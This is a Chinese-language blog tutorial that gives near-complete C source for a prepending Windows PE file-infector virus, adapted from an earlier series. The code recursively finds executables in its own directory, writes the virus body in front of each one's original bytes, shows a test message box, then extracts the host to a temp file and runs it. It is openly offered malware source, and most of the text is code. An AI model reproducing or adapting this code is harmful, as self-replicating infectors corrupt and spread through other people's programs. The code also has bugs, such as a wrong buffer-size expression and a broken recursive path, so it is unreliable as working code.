本文学习自:关于PE病毒的编写学习(一~六) by yangbostar
代码也来源于此,经过一些修改,还不是很完善。如没有添加感染标记,检查感染的文件是否已被感染过。
前置病毒,和资源感染类似,资源感染是病毒把宿主程序添加到程序的资源中,替换覆盖原程序,运行时将宿主程序释放成一个临时文件运行。前置病毒是读取病毒和宿主程序数据,然后将病毒和宿主程序数据再以病毒 --> 宿主程序的顺序写入宿主程序文件,运行时创建一个临时文件,读取程序中宿主程序的数据写入临时文件运行。
文件型病毒至少有这四个模块: 1> 条件模块:判断触发条件和寻找符合条件的宿主文件 2> 破坏模块: 3> 感染模块: 4> 宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序
BOOL IsPEFile(HANDLE hFIle)函数,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。
// 判断是否为PE文件 02.BOOL IsPeFile(PVOID ImageBase) 03.{ 04. if (NULL == ImageBase) 05. return FALSE; 06. PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)ImageBase; 07. if (IMAGE_DOS_SIGNATURE == pstDosHeader->e_magic) 08. { 09. PIMAGE_NT_HEADERS pstNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)ImageBase + pstDosHeader->e_lfanew); 10. if (IMAGE_NT_SIGNATURE == pstNtHeader->Signature) 11. return TRUE; 12. } 13. return FALSE; 14.}
当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以有以下结构:
typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员 02.{ 03. HANDLE hFile; 04. HANDLE hMap; 05. LPVOID ImageBase; 06.} PEINFORMATION, *PPEINFORMATION;
1.条件模块:
功能:搜索病毒文件所在目录中,规定数目的exe文件
PPEINFORMATION OpenHostFile(TCHAR *Top, 02. PPEINFORMATION pPeInfo, 03. WIN32_FIND_DATA *pWin32fd) 04.{ 05. TCHAR szPath[MAX_PATH]; 06. _tcsncpy(szPath, Top, MAX_PATH); 07. _tcsncat(szPath, pWin32fd->cFileName, MAX_PATH - _tcslen(szPath) - 1); 08. pPeInfo->hFile = CreateFile(szPath, GENERIC_READ | GENERIC_WRITE, 09. FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 10. if (INVALID_HANDLE_VALUE != pPeInfo->hFile) 11. { 12. pPeInfo->hMap = CreateFileMapping(pPeInfo->hFile, NULL, PAGE_READWRITE, 13. 0, 0, NULL); 14. pPeInfo->ImageBase = MapViewOfFile(pPeInfo->hMap, FILE_MAP_READ | FILE_MAP_WRITE, 15. 0, 0, 0); 16. if (NULL == pPeInfo->ImageBase) 17. return NULL; 18. } 19. return pPeInfo; 20.}
//搜索函数 02.// 函数说明:历遍该路径下的可执行文件 03.// 参 数:Top 文件路径 int nCount 搜索符合要求文件的最大数目 szHostFileHandle 将找到的符合要求文件句柄储存在这里 04.// 返 回 值:找到符合要求文件的数目 05.DWORD SearchHostFile(TCHAR *Top, int nCount, PHANDLE szHostFileHandle) 06.{ 07. WIN32_FIND_DATA fd; 08. PEINFORMATION PeInfo = {0}; 09. DWORD nResult = 0; 10. 11. TCHAR szPath[MAX_PATH]; 12. _tcsncpy(szPath, Top, MAX_PATH); 13. _tcsncat(szPath, TEXT("*.*"), MAX_PATH - _tcslen(szPath) - 1); 14. HANDLE hFind = FindFirstFile(szPath, &fd); 15. if (INVALID_HANDLE_VALUE != hFind) 16. { 17. OpenHostFile(Top, &PeInfo, &fd); 18. while (nResult < nCount) 19. { 20. // 如果是目录就递归搜索 21. if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 22. { 23. if (fd.cFileName[0] != TEXT('.')) 24. nResult = SearchHostFile(fd.cFileName, nCount, szHostFileHandle); 25. } 26. else 27. { 28. if (IsPeFile(PeInfo.ImageBase)) 29. { 30. szHostFileHandle[nResult] = PeInfo.hFile; 31. nResult++; 32. } 33. } 34. // 撤销内存映射 35. UnmapViewOfFile(PeInfo.ImageBase); 36. CloseHandle(PeInfo.hMap); 37. PeInfo.ImageBase = NULL; 38. if (!FindNextFile(hFind, &fd)) 39. break; 40. OpenHostFile(Top, &PeInfo, &fd); 41. Sleep(0); 42. } 43. } 44. return nResult; 45.}
2.感染模块:
// 功能:将病毒文件注入宿主文件,将原宿主文件向后移动 02.// 定义病毒大小,使用全局变量是因为其它模块也要用到,32768是代码在VC2005 Debug模式下的生成文件大小 03.// 但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错 04.DWORD dwVirusSize = 32768; 05.void Infect(HANDLE hHostFile, HANDLE hLocalFile) 06.{ 07. DWORD dwHostSize = GetFileSize(hHostFile, 0); 08. DWORD dwReadBytes, dwWriteBytes; 09. 10. BYTE *pLocalTempBuf = (BYTE *)malloc(dwVirusSize * sizeof(BYTE)); 11. BYTE *pHostTempBuf = (BYTE *)malloc(dwHostSize * sizeof(BYTE)); 12. ReadFile(hHostFile, pHostTempBuf, dwHostSize, &dwReadBytes, NULL); 13. ReadFile(hLocalFile, pLocalTempBuf, dwVirusSize, &dwReadBytes, NULL); 14. SetFilePointer(hHostFile, 0, 0, FILE_BEGIN); 15. WriteFile(hHostFile, pLocalTempBuf, dwVirusSize, &dwWriteBytes, NULL); 16. WriteFile(hHostFile, pHostTempBuf, dwHostSize, &dwWriteBytes, NULL); 17. SetFilePointer(hHostFile, 0, 0, FILE_BEGIN); 18. free(pLocalTempBuf); 19. free(pHostTempBuf); 20.}
3.破坏模块:
// 功能:仅仅打印提示。 02.void Destory(void) 03.{ 04. MessageBox(NULL, TEXT("这只是个测试 :)"), TEXT("Test"), MB_OK); 05.}
4.宿主程序引导模块
// 功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动 02.// 宿主程序引导模块 03.void JumpLocalHostFile(HANDLE hLocalFile) 04.{ 05. DWORD nCount = 0; 06. 07. // 获取感染后的宿主文件长度 08. DWORD dwHostSize = GetFileSize(hLocalFile, 0); 09. if (dwHostSize == dwVirusSize) 10. return ; 11. 12. // 申请一个宿主程序长度的缓存并读取宿主程序数据 13. BYTE *pTemp = (BYTE *)malloc(dwHostSize - dwVirusSize * sizeof(BYTE)); 14. SetFilePointer(hLocalFile, dwVirusSize, 0, FILE_BEGIN); 15. ReadFile(hLocalFile, pTemp, (dwHostSize - dwVirusSize), &nCount, NULL); 16. 17. // 获取临时文件路径并和文件名连接 18. TCHAR szLocalPath[MAX_PATH]; 19. TCHAR szTempPath[MAX_PATH]; 20. TCHAR szTempName[50]; 21. GetTempPath(MAX_PATH, szTempPath); 22. GetModuleFileName(NULL, szLocalPath, MAX_PATH); 23. GetFileTitle(szLocalPath, szTempName, 50); 24. _tcsncat(szTempPath, szTempName, MAX_PATH - _tcslen(szTempPath) - 1); 25. 26. // 在临时目录创建一个文件并写入数据 27. HANDLE hJumpHost = CreateFile(szTempPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 28. NULL, CREATE_ALWAYS, 0, NULL); 29. if (INVALID_HANDLE_VALUE == hJumpHost) 30. return ; 31. WriteFile(hJumpHost, pTemp, dwHostSize - dwVirusSize, &nCount, NULL); 32. free(pTemp); 33. CloseHandle(hJumpHost); 34. 35. // 运行宿主程序 36. PROCESS_INFORMATION pi; 37. STARTUPINFO si = {sizeof(si)}; 38. if (CreateProcess(szTempPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, 39. NULL, NULL, &si, &pi)) 40. { 41. WaitForSingleObject(pi.hProcess, INFINITE); 42. CloseHandle(pi.hProcess); 43. CloseHandle(pi.hThread); 44. DeleteFile(szTempPath); 45. } 46. 47.}
5.程序入口
#include "stdafx.h" 02.#include <windows.h> 03.#include <tchar.h> 04. 05.int APIENTRY _tWinMain(HINSTANCE hInstance, 06. HINSTANCE hPrevInstance, 07. LPTSTR lpCmdLine, 08. int nCmdShow) 09.{ 10. // 获取当前文件路径并打开文件 11. TCHAR szLocalPath[MAX_PATH]; 12. GetModuleFileName(NULL, szLocalPath, MAX_PATH); 13. HANDLE hFile = CreateFile(szLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL, 14. OPEN_EXISTING, 0, NULL); 15. HANDLE szHostFileHandle[3]; 16. 17. // 去掉文件名保存目录 18. TCHAR *pStr = szLocalPath; 19. int nLen = _tcslen(szLocalPath); 20. pStr += nLen; 21. while (*(pStr - 1)!= TEXT('\\')) 22. pStr--; 23. *pStr = TEXT('\0'); 24. 25. // 搜索文件和注入 26. DWORD dwFoundFileNumber = SearchHostFile(szLocalPath, 3, szHostFileHandle); 27. for (int i = 0; i < dwFoundFileNumber; i++) 28. { 29. Infect(szHostFileHandle[i], hFile); 30. CloseHandle(szHostFileHandle[i]); 31. } 32. Destory(); 33. 34. // 运行宿主程序 35. JumpLocalHostFile(hFile); 36. CloseHandle(hFile); 37. return 0; 38.}